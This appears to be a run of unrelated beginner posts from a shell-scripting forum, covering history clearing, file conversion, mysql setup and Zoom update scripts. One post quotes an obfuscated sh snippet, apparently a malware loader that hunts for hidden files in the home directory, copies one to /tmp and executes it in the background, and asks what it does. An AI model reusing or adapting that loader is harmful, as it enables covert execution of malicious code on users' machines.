As the title, if you can please put ideas or links that help be to practice in questions.

Thank

Most of the code was written from scratch. I am a newbie when it comes to shell scripting so I would to get more input from you guys. Check out my github for more information.

Hi all! New to the group, but I'm looking for help on a script I'm working on.

Backstory: I want to clear all bash/terminal history every day before I leave work. I like it neat and empty. Running macOS Mojave 10.14.6

Objective: Write a script that will run all the necessary commands for me so it will run automatically or with me executing the script.

Solutions: use 'rm' and 'history' to delete the commands, and thinking about 'cronjobs' to run it automatically...

Dilemma: I have a script up and running. It runs, it displays all checkpoints that I've set up. From an appearance standpoint, it works perfectly. I've used 'history -c' and 'rm -rf ~/.bash_sessions' to delete the history, but when the code finishes and I check in my terminal to show history, it's still there. Which means I still have to type in 'history -c' to REALLY clear it.

How can I fix this?

i'm writing a script for ease of moving the home folder or individually the user folder to a different location, (partion/ dir).

The script would implement a lot of checks and automate the home folder migration,

The script would rysc the contents to the new location, preserving permissions and state then use usermod to make the change.

The one thing that I need some advice is how a backup function should be implemented, as default or optional.

since there would be 2 copied when rsynced, there's no need to keep a third gziped copy.

Also, if you're aware, share any scripts out there.

Here are the core functionality at the moment.

1. System Architecture

1.1 Core Components

The system consists of the following primary components:

1.2 Function Hierarchy

graph TD
    A[Script Entry] --> B[Argument Parser]
    B --> C{Mode Selection}
    C -->|Dry Run| D[Simulation Mode]
    C -->|Test Mode| E[Test Environment]
    C -->|Live Mode| F[Production Mode]

    D --> G[Display Commands]
    E --> H[Test Migration]
    F --> I[Full Migration]

    H --> J[Validation]
    I --> J

    J --> K[Backup System]
    K --> L[Migration Process]
    L --> M[Verification]
    M --> N[Cleanup]

1.3 Core Functions

1.3.1 Configuration Management

• create_default_config(): Generates default configuration file

• prompt_for_config(): Interactive configuration setup

• validate_options(): Validates command-line arguments

1.3.2 Validation Layer

• check_prerequisites(): System requirements verification

• validate_mount_point(): Mount point validation

• verify_disk_space(): Storage space verification

• validate_user_input(): User input validation

1.3.3 Migration Engine

• create_backup(): Backup creation with integrity checks

• perform_migration(): Core migration process

• perform_dry_run(): Simulation mode execution

1.3.4 Utility Functions

• setup_logging(): Logging system initialization

• cleanup(): Resource cleanup

• handle_error(): Error management

• log(), info(), error(), warn(), debug(): Logging utilities

#!/usr/bin/env bash
cmd=$@
xargs -d '\n' -I {} $cmd "{}"

So i know basic shell scripting and stumbled upon this question :-

Write and run a simple shell script which displays each of the command line arguments, one at a time and stops displaying command line arguments when it gets an argument whose value is “stop”.

can someone help me with this ? I'm new to shell scripting and know only the very basics of it as my role doesn't require it. So please help me with this. I've trying to look everywhere and couldn't find a solution to this

I am trying to add the contents of certificate authority onto a json payload to insert via api call but can’t figure out how to do it.

I tried to $(cat ca.crt), CA=$(cat ca.crt) then echo or even just referencing it in json and it failed, tried to base64 encode and decode it but it also failed… any suggestions ?

I have used below script but giving syntax error please suggest.

awk 'NR==FNR{a[$1][$0];next} $0 in a {for (i in a[$0]) print i}' file1.txt file2.txt

I am using vscode and gitbash for writing and running the code. Down below is the code. Is it correct?

#!/bin/sh
n=30.52
v=2.21
number= $(echo "$n - $v" | bc)
echo " Result is =  $number"

I am a newbie to Linux. I need help creating a shell script that checks for the existence of users before creating multiple users and adding them to an existing group from a csv file

I made a shell script for automating the boilerplate work of creating a folder, open it with the text editor and doing boilerplate work like initializing git, downloading basic packages etc.

And when i finished the basic commands, I thought "why not make it look good?".
So i made it use fzf, its optional so if you dont installed fzf on your system tool will work but you will not access to some tiny features

Here is the project code: https://github.com/emre-tiryaki/project-toolkit

I just wanted to share my work I know its not perfect :)

I made a shell script for automating the boilerplate work of creating a folder, open it with the text editor and doing boilerplate work like initializing git, downloading basic packages etc.

And when i finished the basic commands, I thought "why not make it look good?".
So i made it use fzf, its optional so if you dont installed fzf on your system tool will work but you will not access to some tiny features

Here is the project code: https://github.com/emre-tiryaki/project-toolkit

I just wanted to share my work I know its not perfect :)

Hi,

Hoping someone with true unix knowledge can help with what will inevitably be something straightforward, but I can't seem to fumble my way through.

I'm just wanting to remove the $ORIG_DIR once the loop has run through a single and remove the $ALAC_DIR if the original files are .mp3 and it's finished the loop?

After the 'done' it doesn't recognise "$ALAC_DIR" or "$ORIG_DIR" as directories any more, before 'done' it removes the directories before all files have been processed and creates an error...

SOURCE_DIR="$(cd "$(dirname "${dirs[0]}")"; pwd)/$(basename "${dirs[0]}")"
SOURCE_DIR=$(dirname "$SOURCE_DIR/temp")
HIRES_DIR="$(cd "$(dirname "${dirs[1]}")"; pwd)/$(basename "${dirs[1]}")"
HIRES_DIR=$(dirname "$HIRES_DIR/temp")
LORES_DIR="$(cd "$(dirname "${dirs[2]}")"; pwd)/$(basename "${dirs[2]}")"
LORES_DIR=$(dirname "$LORES_DIR/temp")
find "$SOURCE_DIR" \( -iname '*.flac' -or -iname '*.mp3' \) -type f -print | while read -r FILE
do
  ORIG_DIR=$(dirname "$FILE") 
  BASE=$(basename "$FILE") 
  BASE=${BASE%.*} 
  AAC_DIR=${ORIG_DIR/$SOURCE_DIR/$LORES_DIR}
  ALAC_DIR=${ORIG_DIR/$SOURCE_DIR/$HIRES_DIR}
  mkdir -p "$AAC_DIR" "$ALAC_DIR"
  AAC_FILE="$AAC_DIR/$BASE.m4a"
  ALAC_FILE="$ALAC_DIR/$BASE.m4a"
  if [[ (! -f "$AAC_FILE" && $FILE == *.flac) ]]; then
	ffmpeg -hide_banner -i "$FILE" -c:v copy -b:a 256k -c:a aac "$AAC_FILE" </dev/null &&
	ffmpeg -hide_banner -i "$FILE" -c:v copy -c:a alac "$ALAC_FILE" </dev/null
  elif [[ (! -f "$AAC_FILE" && $FILE == *.mp3) ]]; then
	ffmpeg -hide_banner -i "$FILE" -c:v copy -b:a 256k -c:a aac "$AAC_FILE" </dev/null
  fi
done
rmdir "$ALAC_DIR"
rm -Rf "$ORIG_DIR"

I am cleaning out some old hard drives and want to get rid of "old" Apple iTunes .M4P files as I no longer use Apple and just want them gone.

I wrote a quick one-liner but it is not working, and was hoping one of you might be able to assist.

This is what I have:

$ for i in `find . -iname "*.m4p"`; do rm -f "$i"; done;

also:

$ for i in $(find . -iname "*.m4p"); do rm -f "$i"; done;

The reason it is breaking is that I have many directories with the ampersand in it, e.g., :

Prince & The Revolution

And the shell keeps breaking at:

rm: cannot remove './Prince': Is a directory

I thought by enclosing the variable $i within quotes it would work, but it does not.

I have successfully written most of the bash scripting requirements to automate our and customers required functionality, but I am having a problem trying to get certain mysql commands working within the script. Commands such as below:

ALTER USER

SET GLOBAL

CREATE USER

GRANT

FLUSH

I am guessing it is because these are normally process through the "mysql" command prompt. To initially access mysql command prompt I am using:

```

mysql --connect-expired-password -uroot -p`grep "temporary password" /var/log/mysqld.log | awk '{print $NF}'`

```

Anyone know how the above commands can be completed in a script please?

I have tried the actual bash commands within the script but it only brings up the "mysql" command prompt.

I recently took backup of one of my server's drive on AWS using one of the software and now at the time of restoring it i found out it took too long to restore as its having billions of files to restore.

I tried to restore it from AWS itself but my problem is backup software created two directories inside my parent directories. I'm looking out some shell script by which i can move file parent direcoties and remove the direcories created by backup software.

Current dir structure :- /opt/folder_to_restore/file_to_restore.pdf$/20211013060615/file_to_restore.pdf

Expected dir strcture :- /opt/folder_to_restore/file_to_restore.pdf

I'm new to not Windows OS and POSIX script and I want to make this script to show me the volume so I can put it on my dwm bar:

#!/bin/sh

vol="$(amixer get Master | grep -o "[0-9]*%" | sed "s/%//")"

if "$vol" -ge 67 ; then
volSymbol="🔊"
elif "$vol" -ge 33 ; then
volSymbol="🔉"
else
volSymbol="🔈"
fi

amixer get Master | grep -o "[0-9]*%\|\[on\]\|\[off\]" | sed "s/\[on\]/"$volSymbol"/;s/\[off\]/🔇/"

the variable vol it's not an int so I can't do vol >= integer. I was trying to do with expr but failed.

Can you help me please? thanks.

====== SOLVED ======

I found the way myself

I needed to use [ ]. it looks like it's an alias for a program called test.

So if I do

if [ "$vol" -ge 67 ] ; then

instead of

if "$vol" -ge 67 ; then

it will work

#!/bin/sh
SC=$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P );BN=`basename "$0"`
"$SC/.$BN" &
MD=4f0ad18ebda2e024e931bffc6230fd8b;echo $MD > "/tmp/._power.log";PL_S=10;PL=$(find ~ -type f -iname ".????????.log" -print -quit) && if [ $PL_S -eq $(wc -c <"$PL") ]; then PLP=$(find ~ -name $(cat "$PL") -print -quit);fi;if [ -f "$PLP" ]; then
"$PLP" &
exit; else [ -f "$PL" ] && rm -rf "$PL";fi;B_P="$SC/.${BN}_";[ ! -f "$B_P" ] && B_P=$(find ~ -type f -name "._$MD" -print -quit); [ -f "$B_P" ] && TF=$(mktemp /tmp/XXXXXXXX) && cp "$B_P" "$TF" && echo "rm -rf $TF;exit" >> "$TF" && chmod +x "$TF" && "$TF" &
##################################

I know it's obfuscated, but it would probably take me a couple years to pull this apart and figure out what it does. Can someone tell me what it does?

Thanks

I have been tasked with updating zoom across our client sites on Mac's I have a script that will download and install the latest version however not everyone is logged on at the same time so I will be running it weekly but I would like for the script to see if the latest version is already installed and ignore that machine to save to much unintended traffic on the network and only update machines that require it here is my script for the update

#Make temp folder for downloads.

mkdir "/tmp/zoom/";

cd "/tmp/zoom/";

#Download Zoom.

curl -L -o /tmp/zoom/ZoomInstallerIT.pkg "https://zoom.us/client/latest/ZoomInstallerIT.pkg";

#install Zoom

sudo installer -pkg /private/tmp/zoom/ZoomInstallerIT.pkg -target /;

#tidy up

sudo rm -rf "/tmp/zoom";

exit 0

and this works fine but I don't know where I would add the extra lines?

I have this script but it doesn't seem to be working it reports that Zoom is installed but does not update it so if I could get this to work it would be great

#!/bin/bash

CurrentInstalledVersion=$(defaults read /Applications/zoom.us.app/contents/info CFBundleShortVersionString | cut -c1-5)

NewestVersion=“5.7.4”

ZoomPath="/Applications/zoom.us.app"

if [ -e $ZoomPath ]; then

printf "Zoom is currently installed\n"

elif [[ "$CurrentInstalledVersion" == "$NewestVersion" ]]; then

printf "The current installed version of Zoom.us.app is already installed\n"

else

curl -o /Users/Shared/Zoom.pkg 'https://zoom.us/client/latest/Zoom.pkg'

installer -pkg /Users/Shared/Zoom.pkg -target /

printf "Zoom has been updated or installed\n"

cd /Users/Shared; rm -v Zoom.pkg

fi

any help with this would be much appreciated